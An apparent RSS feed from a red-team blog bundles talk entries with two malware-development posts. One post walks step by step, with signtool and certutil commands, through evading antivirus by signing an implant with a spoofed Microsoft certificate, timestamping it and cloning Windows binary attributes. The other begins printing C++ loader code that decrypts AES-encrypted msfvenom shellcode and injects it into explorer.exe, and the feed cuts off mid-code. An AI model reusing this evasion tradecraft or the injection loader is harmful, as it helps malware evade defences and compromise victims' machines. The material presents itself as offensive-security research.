<p>Remote Identity Proofing is essential to modern digital ecosystems, but it operates in a constantly evolving adversarial environment. As replay attacks lose effectiveness, injection attacks pose a more serious challenge to liveness detection. RIDP systems should assume that the capture device itself may be untrusted and design controls accordingly.</p>

<p>Ultimately, securing remote identity verification remains a cat‑and‑mouse game, and defending them against threats requires more than a single control; it demands continuous improvement, layered defenses, and an in-depth understanding of both attacker capabilities and system limitations.</p>]]></content><author><name>Capt. Meelo</name></author><category term="research" /><summary type="html"><![CDATA[Explore how cybercriminals are leveraging virtual devices, which are affordable, accessible, and efficient means to defeat liveness detection in face, document, and voice verification systems.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2026-04-02-liveness-detection/replay-vs-injection.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2026-04-02-liveness-detection/replay-vs-injection.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[ROOTCON 18] Seeing is Not Believing: Bypassing Facial Liveness Detection by Fooling the Sensor</title><link href="https://captmeelo.com/talks/research/2024/09/26/rootcon18.html" rel="alternate" type="text/html" title="[ROOTCON 18] Seeing is Not Believing: Bypassing Facial Liveness Detection by Fooling the Sensor" /><published>2024-09-26T00:00:00+00:00</published><updated>2024-09-26T00:00:00+00:00</updated><id>https://captmeelo.com/talks/research/2024/09/26/rootcon18</id><content type="html" xml:base="https://captmeelo.com/talks/research/2024/09/26/rootcon18.html"><![CDATA[<h2 id="abstract">Abstract</h2>

<p><a href="/static/img/2024-09-26-rootcon18/rc18-abstract.png"><img src="/static/img/2024-09-26-rootcon18/rc18-abstract.png" alt="Abstract" /></a></p>

<h2 id="talk">Talk</h2>

<p align="center">
  <iframe width="800" height="540" src="https://www.youtube.com/embed/9a5VojeUu24?si=RgPPZIDyLH3RSj9G" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>
</p>

<h2 id="slides">Slides</h2>

<object data="/static/img/2024-09-26-rootcon18/slides.pdf" width="800" height="400" type="application/pdf"></object>]]></content><author><name>Capt. Meelo</name></author><category term="talks" /><category term="research" /><summary type="html"><![CDATA[A copy of the slides from my ROOTCON 18 talk demonstrating how to bypass facial liveness detection systems on different platforms.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2024-09-26-rootcon18/rc18-title-page.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2024-09-26-rootcon18/rc18-title-page.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[SANS HackFest 2022] Developing High-Impact Malware with Minimal Effort</title><link href="https://captmeelo.com/talks/research/2022/11/14/sans-hackfest.html" rel="alternate" type="text/html" title="[SANS HackFest 2022] Developing High-Impact Malware with Minimal Effort" /><published>2022-11-14T00:00:00+00:00</published><updated>2022-11-14T00:00:00+00:00</updated><id>https://captmeelo.com/talks/research/2022/11/14/sans-hackfest</id><content type="html" xml:base="https://captmeelo.com/talks/research/2022/11/14/sans-hackfest.html"><![CDATA[<h2 id="talk">Talk</h2>

<p align="center">
  <iframe width="800" height="540" src="https://www.youtube.com/embed/wY0cj3Ucqcw" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe>
</p>

<h2 id="slides">Slides</h2>

<p align="center">
  <iframe src="//www.slideshare.net/slideshow/embed_code/key/6spugMhfaCuSYo" width="800" height="540" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen=""></iframe>
</p>

<h2 id="infographic">Infographic</h2>

<p><a href="/static/img/2022-11-14-sans-hackfest/infographic.jpeg"><img src="/static/img/2022-11-14-sans-hackfest/infographic.jpeg" alt="Infographic" /></a></p>

<p><strong>Credits:</strong> <a href="https://www.mindseyecreative.ca/">Mind’s Eye Creative</a></p>]]></content><author><name>Capt. Meelo</name></author><category term="talks" /><category term="research" /><summary type="html"><![CDATA[A copy of the presentation I presented on how to quickly and easily develop malware from the perspective of someone who has limited time and basic programming skills.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-11-14-sans-hackfest/sans-card.jpg" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-11-14-sans-hackfest/sans-card.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Lessons Learned from Cloning Windows Binaries and Code Signing Implants</title><link href="https://captmeelo.com/redteam/maldev/2022/11/07/cloning-signing.html" rel="alternate" type="text/html" title="Lessons Learned from Cloning Windows Binaries and Code Signing Implants" /><published>2022-11-07T00:00:00+00:00</published><updated>2022-11-07T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/11/07/cloning-signing</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/11/07/cloning-signing.html"><![CDATA[<blockquote>
  <p><em>All the lessons I’m sharing here are based on what I learned/observed during my experiment.</em></p>
</blockquote>

<p><a href="https://antiscan.me/">AntiScan.Me</a> has always been my choice to check how my implant fares against different AV software/companies. The main reason is they never distribute the scan results <em>(well, at least that’s what they <a href="https://antiscan.me/faq">claim</a>)</em> compared to <a href="https://www.virustotal.com/gui/home/upload">VirusTotal</a>.</p>

<p>Checking the detection (evasion) rate of my implant helps improve my maldev skills. It also forces me to learn and research different evasion techniques which I find challenging and fun. But recently, I got stuck trying to get a <strong>0/26</strong> detection rate. Here’s an image showing the detection rate of the implant that I have written.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/base-implant.png"><img src="/static/img/2022-11-07-cloning-signing/base-implant.png" alt="Base Implant" /></a></p>

<p>I’m quite happy with the result though since the majority of the AV products failed to detect it. But, I’m not satisfied so I keep thinking and trying different ways to improve the detection rate. After several attempts and testing, nothing worked and the detection rate remains the same. After doing some research, I came across <strong>Code Signing</strong> to make my binary look “trusted” (even though it should not be trusted as it’s actually doing malicious things). I don’t want to spend a dime purchasing a valid code signing certificate so I opted to use an invalid/spoofed certificate.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\bin</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\signtool.exe</span><span class="w"> </span><span class="nx">sign</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="nx">/f</span><span class="w"> </span><span class="o">.</span><span class="nx">\cert.pfx</span><span class="w"> </span><span class="nx">/fd</span><span class="w"> </span><span class="nx">SHA256</span><span class="w"> </span><span class="o">.</span><span class="nx">\base-implant.exe</span><span class="w">
</span><span class="n">The</span><span class="w"> </span><span class="nx">following</span><span class="w"> </span><span class="nx">certificate</span><span class="w"> </span><span class="nx">was</span><span class="w"> </span><span class="nx">selected:</span><span class="w">
    </span><span class="n">Issued</span><span class="w"> </span><span class="nx">to:</span><span class="w"> </span><span class="nx">www.microsoft.com</span><span class="w">
    </span><span class="n">Issued</span><span class="w"> </span><span class="nx">by:</span><span class="w"> </span><span class="nx">Microsoft</span><span class="w"> </span><span class="nx">Azure</span><span class="w"> </span><span class="nx">TLS</span><span class="w"> </span><span class="nx">Issuing</span><span class="w"> </span><span class="nx">CA</span><span class="w"> </span><span class="nx">06</span><span class="w">
    </span><span class="n">Expires:</span><span class="w">   </span><span class="nx">Sat</span><span class="w"> </span><span class="nx">Sep</span><span class="w"> </span><span class="nx">30</span><span class="w"> </span><span class="nx">07:23:11</span><span class="w"> </span><span class="nx">2023</span><span class="w">
    </span><span class="n">SHA1</span><span class="w"> </span><span class="nx">hash:</span><span class="w"> </span><span class="nx">1FE9A0EC7C3D307369DF61348838DC12F3FAE024</span><span class="w">

</span><span class="n">Done</span><span class="w"> </span><span class="nx">Adding</span><span class="w"> </span><span class="nx">Additional</span><span class="w"> </span><span class="nx">Store</span><span class="w">
</span><span class="n">Successfully</span><span class="w"> </span><span class="nx">signed:</span><span class="w"> </span><span class="o">.</span><span class="nx">\base-implant.exe</span><span class="w">

</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">files</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">Signed:</span><span class="w"> </span><span class="nx">1</span><span class="w">
</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">warnings:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">errors:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">cert.pfx</code> file used from the above command was derived from a certificate and key created from the <code class="language-plaintext highlighter-rouge">www.microsoft.com</code> domain.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\bin</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">certutil.exe</span><span class="w"> </span><span class="nt">-dump</span><span class="w"> </span><span class="o">.</span><span class="nx">\cert.pfx</span><span class="w">
</span><span class="n">Enter</span><span class="w"> </span><span class="nx">PFX</span><span class="w"> </span><span class="nx">password:</span><span class="w">
</span><span class="o">================</span><span class="w"> </span><span class="n">Certificate</span><span class="w"> </span><span class="nx">0</span><span class="w"> </span><span class="o">================</span><span class="w">
</span><span class="o">================</span><span class="w"> </span><span class="kr">Begin</span><span class="w"> </span><span class="n">Nesting</span><span class="w"> </span><span class="nx">Level</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="o">================</span><span class="w">
</span><span class="n">Element</span><span class="w"> </span><span class="nx">0:</span><span class="w">
</span><span class="n">Serial</span><span class="w"> </span><span class="nx">Number:</span><span class="w"> </span><span class="nx">330059f8b6da8689706ffa1bd900000059f8b6</span><span class="w">
</span><span class="n">Issuer:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Azure</span><span class="w"> </span><span class="nx">TLS</span><span class="w"> </span><span class="nx">Issuing</span><span class="w"> </span><span class="nx">CA</span><span class="w"> </span><span class="nx">06</span><span class="p">,</span><span class="w"> </span><span class="nx">O</span><span class="o">=</span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Corporation</span><span class="p">,</span><span class="w"> </span><span class="nx">C</span><span class="o">=</span><span class="n">US</span><span class="w">
 </span><span class="nx">NotBefore:</span><span class="w"> </span><span class="nx">10/5/2022</span><span class="w"> </span><span class="nx">7:23</span><span class="w"> </span><span class="nx">AM</span><span class="w">
 </span><span class="n">NotAfter:</span><span class="w"> </span><span class="nx">9/30/2023</span><span class="w"> </span><span class="nx">7:23</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span><span class="n">Subject:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">www.microsoft.com</span><span class="p">,</span><span class="w"> </span><span class="nx">O</span><span class="o">=</span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Corporation</span><span class="p">,</span><span class="w"> </span><span class="nx">L</span><span class="o">=</span><span class="n">Redmond</span><span class="p">,</span><span class="w"> </span><span class="nx">S</span><span class="o">=</span><span class="n">WA</span><span class="p">,</span><span class="w"> </span><span class="nx">C</span><span class="o">=</span><span class="n">US</span><span class="w">
</span><span class="nx">Signature</span><span class="w"> </span><span class="nx">matches</span><span class="w"> </span><span class="nx">Public</span><span class="w"> </span><span class="nx">Key</span><span class="w">
</span><span class="n">Non-root</span><span class="w"> </span><span class="nx">Certificate</span><span class="w"> </span><span class="nx">uses</span><span class="w"> </span><span class="nx">same</span><span class="w"> </span><span class="nx">Public</span><span class="w"> </span><span class="nx">Key</span><span class="w"> </span><span class="nx">as</span><span class="w"> </span><span class="nx">Issuer</span><span class="w">
</span><span class="n">Cert</span><span class="w"> </span><span class="nx">Hash</span><span class="p">(</span><span class="n">sha1</span><span class="p">):</span><span class="w"> </span><span class="mi">1</span><span class="n">fe9a0ec7c3d307369df61348838dc12f3fae024</span><span class="w">
</span><span class="o">----------------</span><span class="w">  </span><span class="nx">End</span><span class="w"> </span><span class="nx">Nesting</span><span class="w"> </span><span class="nx">Level</span><span class="w"> </span><span class="nx">1</span><span class="w">  </span><span class="o">----------------</span><span class="w">
  </span><span class="n">Provider</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Enhanced</span><span class="w"> </span><span class="nx">Cryptographic</span><span class="w"> </span><span class="nx">Provider</span><span class="w"> </span><span class="nx">v1.0</span><span class="w">
</span><span class="n">Encryption</span><span class="w"> </span><span class="nx">test</span><span class="w"> </span><span class="nx">passed</span><span class="w">
</span><span class="n">CertUtil:</span><span class="w"> </span><span class="nt">-dump</span><span class="w"> </span><span class="nx">command</span><span class="w"> </span><span class="nx">completed</span><span class="w"> </span><span class="nx">successfully.</span><span class="w">
</span></code></pre></div></div>

<p>Here’s what the signed implant looks like and it is clearly shown that it was signed with an invalid certificate.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/invalid-cert1.png"><img src="/static/img/2022-11-07-cloning-signing/invalid-cert1.png" alt="Invalid Cert" /></a></p>

<p>Based on the scan result, the detection rate improved from <strong>6/26</strong> to <strong>3/26</strong>. This signifies that code signing works (or simply fools some AVs) even with an invalid certificate.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/signed-implant.png"><img src="/static/img/2022-11-07-cloning-signing/signed-implant.png" alt="Signed Implant" /></a></p>

<blockquote>
  <p><em><strong>LESSON #1:</strong> Signed binaries are less investigated by some AV software. This means using a spoofed/invalid certificate works because there are AVs that don’t verify the validity of the digital certificate used.</em></p>
</blockquote>

<p>Obsessed with improving the detection rate, I decided to time-stamp my signed implant, using <code class="language-plaintext highlighter-rouge">http://timestamp.digicert.com</code> as the Time Stamp Authority (TSA) server, to make it more “trusted” and “verified”?</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\bin</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\signtool.exe</span><span class="w"> </span><span class="nx">timestamp</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="nx">/tr</span><span class="w"> </span><span class="nx">http://timestamp.digicert.com</span><span class="w"> </span><span class="nx">/td</span><span class="w"> </span><span class="nx">SHA256</span><span class="w"> </span><span class="o">.</span><span class="nx">\signed-implant.exe</span><span class="w">
</span><span class="n">Successfully</span><span class="w"> </span><span class="nx">timestamped:</span><span class="w"> </span><span class="o">.</span><span class="nx">\signed-implant.exe</span><span class="w">

</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">files</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">timestamped:</span><span class="w"> </span><span class="nx">1</span><span class="w">
</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">errors:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span></code></pre></div></div>

<p>Now here’s what the time-stamped binary looks like.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/invalid-cert2.png"><img src="/static/img/2022-11-07-cloning-signing/invalid-cert2.png" alt="Invalid Cert with Time Stamp" /></a></p>

<p>Did I get a better result? I’m quite disappointed because nothing changed and the detection rate stays at <strong>3/26</strong>.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/timestamped-implant.png"><img src="/static/img/2022-11-07-cloning-signing/timestamped-implant.png" alt="Time Stamped Implant" /></a></p>

<p>My disappointment did not stop me so I keep on thinking and trying different methods. Out of curiosity, I decided to change the TSA server and used <code class="language-plaintext highlighter-rouge">http://sha256timestamp.ws.symantec.com/sha256/timestamp</code> instead.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\bin</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\signtool.exe</span><span class="w"> </span><span class="nx">timestamp</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="nx">/tr</span><span class="w"> </span><span class="nx">http://sha256timestamp.ws.symantec.com/sha256/timestamp</span><span class="w"> </span><span class="nx">/td</span><span class="w"> </span><span class="nx">SHA256</span><span class="w"> </span><span class="o">.</span><span class="nx">\timestamped-implant.exe</span><span class="w">
</span><span class="n">Successfully</span><span class="w"> </span><span class="nx">timestamped:</span><span class="w"> </span><span class="o">.</span><span class="nx">\timestamped-implant.exe</span><span class="w">

</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">files</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">timestamped:</span><span class="w"> </span><span class="nx">1</span><span class="w">
</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">errors:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span></code></pre></div></div>

<p><a href="/static/img/2022-11-07-cloning-signing/invalid-cert3.png"><img src="/static/img/2022-11-07-cloning-signing/invalid-cert3.png" alt="Invalid Cert with New TSA server" /></a></p>

<p>Surprisingly, it worked and I now achieved the detection rate that I wanted!</p>

<p><a href="/static/img/2022-11-07-cloning-signing/timestamped-implant2.png"><img src="/static/img/2022-11-07-cloning-signing/timestamped-implant2.png" alt="Time Stamped Changed Implant" /></a></p>

<blockquote>
  <p><em><strong>LESSON #2:</strong> AV products behave differently depending on the TSA server used to time-stamp the binary.</em></p>
</blockquote>

<p>I want to further investigate this observation. However, <a href="https://antiscan.me/">AntiScan.Me</a> only allows 4 submissions per IP each day and I don’t have the luxury of time/resources to do it. Anyway, if you want to further explore this observation, here’s a <a href="https://gist.github.com/Manouchehri/fd754e402d98430243455713efada710">list of free RFC 3161 TSA servers</a>.</p>

<p>Now that I got what I wanted, it’s time to celebrate! Well… <strong>NO</strong>! Because as soon as my implant touches the disk of my target system (Windows 11 with up-to-date Windows Defender engine), it is caught immediately.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/signed-implant-detected.png"><img src="/static/img/2022-11-07-cloning-signing/signed-implant-detected.png" alt="Signed Implant Detected" /></a></p>

<p>How did Windows Defender flag my implant when <a href="https://antiscan.me/">AntiScan.Me</a> told me I got a 0/26 detection rate? How is that possible? I don’t even know how to answer my questions because I don’t have an idea how the different AV products within <a href="https://antiscan.me/">AntiScan.Me</a> actually works!</p>

<blockquote>
  <p><em><strong>LESSON #3:</strong> Don’t fully rely on online AV scanning tools/websites. While these online services make life easier since we can test our binary on different AV vendors and get the results at once, nothing beats testing your implant on a local and isolated machine.</em></p>
</blockquote>

<p>Is there a way to evade Windows Defender in this scenario? What if I make my implant look like a Microsoft-signed binary? To do that, I looked for signed binaries within the <code class="language-plaintext highlighter-rouge">C:\Windows\System32\</code> directory and ended up with <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code>. I cloned this file’s attributes into my implant, signed then time-stamped my implant with an invalid <code class="language-plaintext highlighter-rouge">www.microsoft.com</code> certificate, and rename it to <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code>. Here’s what my implant looks like.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/cloned-runtimebroker.png"><img src="/static/img/2022-11-07-cloning-signing/cloned-runtimebroker.png" alt="Cloned &amp; Signed RuntimeBroker.exe" /></a></p>

<p>I was very hopeful it will work but sadly, Windows Defender detected it as soon as it touches the disk.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/cloned-binary-detected.png"><img src="/static/img/2022-11-07-cloning-signing/cloned-binary-detected.png" alt="Cloned &amp; Signed RuntimeBroker.exe Detected" /></a></p>

<p>Maybe it was detected because I spoofed a Microsoft domain to sign a cloned Microsoft binary, and Windows Defender could easily verify the authenticity of the certificate and the binary since Microsoft owned them. Maybe, maybe not. Who knows?</p>

<p>As a further investigation, I tried cloning only the file attributes of <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code> but did not sign it. And the result is still the same.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/cloned-unsigned-detected.png"><img src="/static/img/2022-11-07-cloning-signing/cloned-unsigned-detected.png" alt="Cloned &amp; Unsigned RuntimeBroker.exe Detected" /></a></p>

<p>I already expected this to happen though since the original and legit copy of <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code> is signed by Microsoft.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/legit-runtimebroker.png"><img src="/static/img/2022-11-07-cloning-signing/legit-runtimebroker.png" alt="Legit RuntimeBroker.exe" /></a></p>

<p>But what if I clone the file attributes of an unsigned Windows binary? This time, I opted to clone <code class="language-plaintext highlighter-rouge">C:\Windows\System32\at.exe</code> and did not bother signing it since the original/legit copy is not signed. As soon as my implant touches the disk, Windows Defender did not detect it. Even when executed and the shell was received, Windows Defender also failed.</p>

<blockquote>
  <p><em><strong>LESSON #4:</strong> There are tons of Windows binaries (signed/unsigned and/or installed by default or not) so the above observation might not be true 100%. However, based on my experiment, I would say cloning and code-signing Windows binaries comes with a risk. So make sure to thoroughly test your implant if you opted to use cloning and code signing.</em></p>
</blockquote>

<p><a href="/static/img/2022-11-07-cloning-signing/cloned-at.exe.gif"><img src="/static/img/2022-11-07-cloning-signing/cloned-at.exe.gif" alt="Cloned at.exe" /></a></p>

<p>However, as soon as I used meterpreter’s <code class="language-plaintext highlighter-rouge">shell</code> command (as shown above), Windows Defender alerted with <code class="language-plaintext highlighter-rouge">Behavior:Win32/Meterpreter.D</code>. Despite the alert, my meterpreter shell did not die and when I used the <code class="language-plaintext highlighter-rouge">shell</code> command for the second time, Windows Defender alert did not pop out again.</p>

<blockquote>
  <p><em><strong>LESSON #5:</strong> Being able to download and execute your implant undetected does not necessarily mean the job is done and you won’t get caught. So don’t forget to implement some in-memory evasion techniques.</em></p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>After spending some time with this experiment and trying to achieve what I wanted (0 detection rate), I realized an important lesson (at least for me).</p>

<blockquote>
  <p><em><strong>LESSON #6:</strong> Don’t be obsessed or force a 0 detection rate. If we don’t know the security solution running on our target, we ideally wanted to aim for a 0 detection rate. However, the time spent (or wasted) achieving a 0 detection rate could instead be used for information gathering to identify the AV/EDR installed on our target. Using this information, we can then solely focus on evading that particular product.</em></p>
</blockquote>

<p>Before I end this post, I would like to leave these additional lessons.</p>

<blockquote>
  <p><em><strong>LESSON #7:</strong> When cloning file attributes, don’t limit yourself to Windows binaries. Beware though and ensure that the binary you wanted to clone and execute on your target must be present/installed and/or most likely being used/run on that machine. What I mean is you obviously don’t want to clone and execute an iTunes binary when your target is a Windows Server.</em></p>
</blockquote>

<blockquote>
  <p><em><strong>LESSON #8:</strong> No detection does not mean no alert/notification will be sent to the blue team.</em></p>
</blockquote>

<blockquote>
  <p><em><strong>LESSON #9:</strong> Signing an implant with a spoofed certificate might have LEGAL consequences. Do it at your own risk and be responsible.</em></p>
</blockquote>

<p>That’s it for this post. Again, these are my opinions which are based on what I have observed during my experiment. There’s no guarantee that you’ll see the same observations and that all lessons shared here will work in your environment and all scenarios.</p>

<p><strong>Remember, evasion is always a cat-and-mouse game.</strong></p>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[Lessons learned and observed while experimenting with code signing and cloning file attributes.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-11-07-cloning-signing/cloned-at.exe.gif" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-11-07-cloning-signing/cloned-at.exe.gif" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Writing an Independent Malware</title><link href="https://captmeelo.com/redteam/maldev/2022/10/17/independent-malware.html" rel="alternate" type="text/html" title="Writing an Independent Malware" /><published>2022-10-17T00:00:00+00:00</published><updated>2022-10-17T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/10/17/independent-malware</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/10/17/independent-malware.html"><![CDATA[<blockquote>
  <p><em>I’m almost 90% complete drafting this post when I came across this <a href="https://www.youtube.com/watch?v=TfG9lBYCOq8">talk</a> by <a href="https://twitter.com/rad9800">@rad9800</a> that discusses the same topic. I’m still publishing this anyhow because I don’t want my efforts to go to waste and this post contains some ideas not mentioned in the talk.</em></p>
</blockquote>

<p>There’s no greater feeling when the malware (or any project/tool) you’re developing works as expected. Until suddenly you realized it only works on your dev machine but not on any other machine.</p>

<p>Here’s an example of what I mean. This code is a commonly used template by malware in which the payload is AES-encrypted (using <a href="https://github.com/kokke/tiny-AES-c">tiny-AES-c</a> in this case) to avoid static detection. The payload gets decrypted during execution and injected into a remote target process’ memory space.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">6028</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Handle obtained: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

	<span class="n">PVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
